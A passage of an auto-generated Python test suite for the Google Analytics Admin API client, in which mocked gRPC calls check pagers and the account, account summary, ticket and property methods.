results = [i for i in pager]
assert len(results) == 6
assert all(isinstance(i, resources.Account) for i in results)
def test_list_accounts_pages():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_accounts), "__call__") as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListAccountsResponse(
accounts=[
resources.Account(),
resources.Account(),
resources.Account(),
],
next_page_token="abc",
),
analytics_admin.ListAccountsResponse(accounts=[], next_page_token="def",),
analytics_admin.ListAccountsResponse(
accounts=[resources.Account(),], next_page_token="ghi",
),
analytics_admin.ListAccountsResponse(
accounts=[resources.Account(), resources.Account(),],
),
RuntimeError,
)
pages = list(client.list_accounts(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_accounts_async_pager():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_accounts), "__call__", new_callable=mock.AsyncMock
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListAccountsResponse(
accounts=[
resources.Account(),
resources.Account(),
resources.Account(),
],
next_page_token="abc",
),
analytics_admin.ListAccountsResponse(accounts=[], next_page_token="def",),
analytics_admin.ListAccountsResponse(
accounts=[resources.Account(),], next_page_token="ghi",
),
analytics_admin.ListAccountsResponse(
accounts=[resources.Account(), resources.Account(),],
),
RuntimeError,
)
async_pager = await client.list_accounts(request={},)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager:
responses.append(response)
assert len(responses) == 6
assert all(isinstance(i, resources.Account) for i in responses)
@pytest.mark.asyncio
async def test_list_accounts_async_pages():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_accounts), "__call__", new_callable=mock.AsyncMock
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListAccountsResponse(
accounts=[
resources.Account(),
resources.Account(),
resources.Account(),
],
next_page_token="abc",
),
analytics_admin.ListAccountsResponse(accounts=[], next_page_token="def",),
analytics_admin.ListAccountsResponse(
accounts=[resources.Account(),], next_page_token="ghi",
),
analytics_admin.ListAccountsResponse(
accounts=[resources.Account(), resources.Account(),],
),
RuntimeError,
)
pages = []
async for page_ in (await client.list_accounts(request={})).pages:
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
def test_delete_account(
transport: str = "grpc", request_type=analytics_admin.DeleteAccountRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_account), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = None
response = client.delete_account(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.DeleteAccountRequest()
# Establish that the response is the type that we expect.
assert response is None
def test_delete_account_from_dict():
test_delete_account(request_type=dict)
def test_delete_account_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_account), "__call__") as call:
client.delete_account()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.DeleteAccountRequest()
@pytest.mark.asyncio
async def test_delete_account_async(
transport: str = "grpc_asyncio", request_type=analytics_admin.DeleteAccountRequest
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_account), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
response = await client.delete_account(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.DeleteAccountRequest()
# Establish that the response is the type that we expect.
assert response is None
@pytest.mark.asyncio
async def test_delete_account_async_from_dict():
await test_delete_account_async(request_type=dict)
def test_delete_account_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.DeleteAccountRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_account), "__call__") as call:
call.return_value = None
client.delete_account(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_delete_account_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.DeleteAccountRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_account), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
await client.delete_account(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_delete_account_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_account), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = None
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.delete_account(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
def test_delete_account_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.delete_account(
analytics_admin.DeleteAccountRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_delete_account_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_account), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = None
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.delete_account(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
@pytest.mark.asyncio
async def test_delete_account_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.delete_account(
analytics_admin.DeleteAccountRequest(), name="name_value",
)
def test_update_account(
transport: str = "grpc", request_type=analytics_admin.UpdateAccountRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_account), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Account(
name="name_value",
display_name="display_name_value",
region_code="region_code_value",
deleted=True,
)
response = client.update_account(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateAccountRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.Account)
assert response.name == "name_value"
assert response.display_name == "display_name_value"
assert response.region_code == "region_code_value"
assert response.deleted is True
def test_update_account_from_dict():
test_update_account(request_type=dict)
def test_update_account_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_account), "__call__") as call:
client.update_account()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateAccountRequest()
@pytest.mark.asyncio
async def test_update_account_async(
transport: str = "grpc_asyncio", request_type=analytics_admin.UpdateAccountRequest
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_account), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.Account(
name="name_value",
display_name="display_name_value",
region_code="region_code_value",
deleted=True,
)
)
response = await client.update_account(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateAccountRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.Account)
assert response.name == "name_value"
assert response.display_name == "display_name_value"
assert response.region_code == "region_code_value"
assert response.deleted is True
@pytest.mark.asyncio
async def test_update_account_async_from_dict():
await test_update_account_async(request_type=dict)
def test_update_account_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.UpdateAccountRequest()
request.account.name = "account.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_account), "__call__") as call:
call.return_value = resources.Account()
client.update_account(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "account.name=account.name/value",) in kw[
"metadata"
]
@pytest.mark.asyncio
async def test_update_account_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.UpdateAccountRequest()
request.account.name = "account.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_account), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(resources.Account())
await client.update_account(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "account.name=account.name/value",) in kw[
"metadata"
]
def test_update_account_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_account), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Account()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.update_account(
account=resources.Account(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].account == resources.Account(name="name_value")
assert args[0].update_mask == field_mask_pb2.FieldMask(paths=["paths_value"])
def test_update_account_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.update_account(
analytics_admin.UpdateAccountRequest(),
account=resources.Account(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.asyncio
async def test_update_account_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_account), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Account()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(resources.Account())
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.update_account(
account=resources.Account(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].account == resources.Account(name="name_value")
assert args[0].update_mask == field_mask_pb2.FieldMask(paths=["paths_value"])
@pytest.mark.asyncio
async def test_update_account_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.update_account(
analytics_admin.UpdateAccountRequest(),
account=resources.Account(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
def test_provision_account_ticket(
transport: str = "grpc", request_type=analytics_admin.ProvisionAccountTicketRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.provision_account_ticket), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ProvisionAccountTicketResponse(
account_ticket_id="account_ticket_id_value",
)
response = client.provision_account_ticket(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ProvisionAccountTicketRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, analytics_admin.ProvisionAccountTicketResponse)
assert response.account_ticket_id == "account_ticket_id_value"
def test_provision_account_ticket_from_dict():
test_provision_account_ticket(request_type=dict)
def test_provision_account_ticket_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.provision_account_ticket), "__call__"
) as call:
client.provision_account_ticket()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ProvisionAccountTicketRequest()
@pytest.mark.asyncio
async def test_provision_account_ticket_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.ProvisionAccountTicketRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.provision_account_ticket), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ProvisionAccountTicketResponse(
account_ticket_id="account_ticket_id_value",
)
)
response = await client.provision_account_ticket(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ProvisionAccountTicketRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, analytics_admin.ProvisionAccountTicketResponse)
assert response.account_ticket_id == "account_ticket_id_value"
@pytest.mark.asyncio
async def test_provision_account_ticket_async_from_dict():
await test_provision_account_ticket_async(request_type=dict)
def test_list_account_summaries(
transport: str = "grpc", request_type=analytics_admin.ListAccountSummariesRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_account_summaries), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListAccountSummariesResponse(
next_page_token="next_page_token_value",
)
response = client.list_account_summaries(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListAccountSummariesRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListAccountSummariesPager)
assert response.next_page_token == "next_page_token_value"
def test_list_account_summaries_from_dict():
test_list_account_summaries(request_type=dict)
def test_list_account_summaries_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_account_summaries), "__call__"
) as call:
client.list_account_summaries()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListAccountSummariesRequest()
@pytest.mark.asyncio
async def test_list_account_summaries_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.ListAccountSummariesRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_account_summaries), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListAccountSummariesResponse(
next_page_token="next_page_token_value",
)
)
response = await client.list_account_summaries(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListAccountSummariesRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListAccountSummariesAsyncPager)
assert response.next_page_token == "next_page_token_value"
@pytest.mark.asyncio
async def test_list_account_summaries_async_from_dict():
await test_list_account_summaries_async(request_type=dict)
def test_list_account_summaries_pager():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_account_summaries), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListAccountSummariesResponse(
account_summaries=[
resources.AccountSummary(),
resources.AccountSummary(),
resources.AccountSummary(),
],
next_page_token="abc",
),
analytics_admin.ListAccountSummariesResponse(
account_summaries=[], next_page_token="def",
),
analytics_admin.ListAccountSummariesResponse(
account_summaries=[resources.AccountSummary(),], next_page_token="ghi",
),
analytics_admin.ListAccountSummariesResponse(
account_summaries=[
resources.AccountSummary(),
resources.AccountSummary(),
],
),
RuntimeError,
)
metadata = ()
pager = client.list_account_summaries(request={})
assert pager._metadata == metadata
results = [i for i in pager]
assert len(results) == 6
assert all(isinstance(i, resources.AccountSummary) for i in results)
def test_list_account_summaries_pages():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_account_summaries), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListAccountSummariesResponse(
account_summaries=[
resources.AccountSummary(),
resources.AccountSummary(),
resources.AccountSummary(),
],
next_page_token="abc",
),
analytics_admin.ListAccountSummariesResponse(
account_summaries=[], next_page_token="def",
),
analytics_admin.ListAccountSummariesResponse(
account_summaries=[resources.AccountSummary(),], next_page_token="ghi",
),
analytics_admin.ListAccountSummariesResponse(
account_summaries=[
resources.AccountSummary(),
resources.AccountSummary(),
],
),
RuntimeError,
)
pages = list(client.list_account_summaries(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_account_summaries_async_pager():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_account_summaries),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListAccountSummariesResponse(
account_summaries=[
resources.AccountSummary(),
resources.AccountSummary(),
resources.AccountSummary(),
],
next_page_token="abc",
),
analytics_admin.ListAccountSummariesResponse(
account_summaries=[], next_page_token="def",
),
analytics_admin.ListAccountSummariesResponse(
account_summaries=[resources.AccountSummary(),], next_page_token="ghi",
),
analytics_admin.ListAccountSummariesResponse(
account_summaries=[
resources.AccountSummary(),
resources.AccountSummary(),
],
),
RuntimeError,
)
async_pager = await client.list_account_summaries(request={},)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager:
responses.append(response)
assert len(responses) == 6
assert all(isinstance(i, resources.AccountSummary) for i in responses)
@pytest.mark.asyncio
async def test_list_account_summaries_async_pages():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_account_summaries),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListAccountSummariesResponse(
account_summaries=[
resources.AccountSummary(),
resources.AccountSummary(),
resources.AccountSummary(),
],
next_page_token="abc",
),
analytics_admin.ListAccountSummariesResponse(
account_summaries=[], next_page_token="def",
),
analytics_admin.ListAccountSummariesResponse(
account_summaries=[resources.AccountSummary(),], next_page_token="ghi",
),
analytics_admin.ListAccountSummariesResponse(
account_summaries=[
resources.AccountSummary(),
resources.AccountSummary(),
],
),
RuntimeError,
)
pages = []
async for page_ in (await client.list_account_summaries(request={})).pages:
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
def test_get_property(
transport: str = "grpc", request_type=analytics_admin.GetPropertyRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_property), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Property(
name="name_value",
parent="parent_value",
display_name="display_name_value",
industry_category=resources.IndustryCategory.AUTOMOTIVE,
time_zone="time_zone_value",
currency_code="currency_code_value",
service_level=resources.ServiceLevel.GOOGLE_ANALYTICS_STANDARD,
)
response = client.get_property(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetPropertyRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.Property)
assert response.name == "name_value"
assert response.parent == "parent_value"
assert response.display_name == "display_name_value"
assert response.industry_category == resources.IndustryCategory.AUTOMOTIVE
assert response.time_zone == "time_zone_value"
assert response.currency_code == "currency_code_value"
assert response.service_level == resources.ServiceLevel.GOOGLE_ANALYTICS_STANDARD
def test_get_property_from_dict():
test_get_property(request_type=dict)
def test_get_property_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_property), "__call__") as call:
client.get_property()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetPropertyRequest()
@pytest.mark.asyncio
async def test_get_property_async(
transport: str = "grpc_asyncio", request_type=analytics_admin.GetPropertyRequest
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_property), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.Property(
name="name_value",
parent="parent_value",
display_name="display_name_value",
industry_category=resources.IndustryCategory.AUTOMOTIVE,
time_zone="time_zone_value",
currency_code="currency_code_value",
service_level=resources.ServiceLevel.GOOGLE_ANALYTICS_STANDARD,
)
)
response = await client.get_property(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetPropertyRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.Property)
assert response.name == "name_value"
assert response.parent == "parent_value"
assert response.display_name == "display_name_value"
assert response.industry_category == resources.IndustryCategory.AUTOMOTIVE
assert response.time_zone == "time_zone_value"
assert response.currency_code == "currency_code_value"
assert response.service_level == resources.ServiceLevel.GOOGLE_ANALYTICS_STANDARD
@pytest.mark.asyncio
async def test_get_property_async_from_dict():
await test_get_property_async(request_type=dict)
def test_get_property_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.GetPropertyRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_property), "__call__") as call:
call.return_value = resources.Property()
client.get_property(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_property_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.GetPropertyRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_property), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(resources.Property())
await client.get_property(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_get_property_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_property), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Property()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_property(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
def test_get_property_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.get_property(
analytics_admin.GetPropertyRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_get_property_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_property), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Property()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(resources.Property())
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_property(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
@pytest.mark.asyncio
async def test_get_property_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.get_property(
analytics_admin.GetPropertyRequest(), name="name_value",
)
def test_list_properties(
transport: str = "grpc", request_type=analytics_admin.ListPropertiesRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_properties), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListPropertiesResponse(
next_page_token="next_page_token_value",
)
response = client.list_properties(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListPropertiesRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListPropertiesPager)
assert response.next_page_token == "next_page_token_value"
def test_list_properties_from_dict():
